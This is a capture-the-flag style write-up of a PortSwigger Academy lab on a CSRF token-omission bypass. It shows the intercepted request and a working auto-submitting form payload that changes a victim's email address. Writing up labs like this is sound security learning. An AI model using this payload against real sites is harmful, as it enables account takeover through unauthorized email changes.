| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | CSRF — Token Omission Bypass |
| Difficulty | Practitioner |
| Target | 0ad9001003c420d58026031800e0004b.web-security-academy.net |
| Objective | Change the victim's email address by bypassing CSRF token validation |
CSRF where token validation depends on token being present — Writeup¶
Initial Observation¶
Logged in as wiener:peter. Account page:
My Account
Your username is: wiener
Your email is: [email protected]
Web — Email Change Request Analysis¶
Intercepting the email update:
POST /my-account/change-email HTTP/2
[email protected]&csrf=sTxyjDHFlBmckSIMQLaNFUE3xagxu8Fr
CSRF token is present. Inspecting the form source confirms it comes from a hidden input:
<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required="" type="email" name="email" value="">
<input required="" type="hidden" name="csrf" value="sTxyjDHFlBmckSIMQLaNFUE3xagxu8Fr">
<button class="button" type="submit"> Update email </button>
</form>
Testing what happens when the token is stripped from the request entirely:
POST /my-account/change-email HTTP/2
[email protected]
302 Found — the email change went through. The server doesn't reject requests where the token is absent — it only validates the token when it's actually submitted. That's the bypass: don't send it at all.
Building the PoC — Token Omission¶
Crafting a form identical to the original but with the CSRF hidden input removed:
<form class="login-form" name="change-email-form" action="https://0ad9001003c420d58026031800e0004b.web-security-academy.net/my-account/change-email" method="POST">
<label>Email</label>
<input required="" type="email" name="email" value="[email protected]">
</form>
<script>
document.forms[0].submit();
</script>
Storing it on the exploit server and viewing the exploit while logged in as wiener — email changes to [email protected]:
Chain confirmed. Updating the target email to the attack address and delivering to the victim:
<form class="login-form" name="change-email-form" action="https://0ad9001003c420d58026031800e0004b.web-security-academy.net/my-account/change-email" method="POST">
<label>Email</label>
<input required="" type="email" name="email" value="[email protected]">
</form>
<script>
document.forms[0].submit();
</script>
Lab solved. The victim's email is now [email protected] :P
Resources¶
- PortSwigger — Bypassing CSRF token validation
- PortSwigger — CSRF
- Burp Suite Professional — request interception and parameter manipulation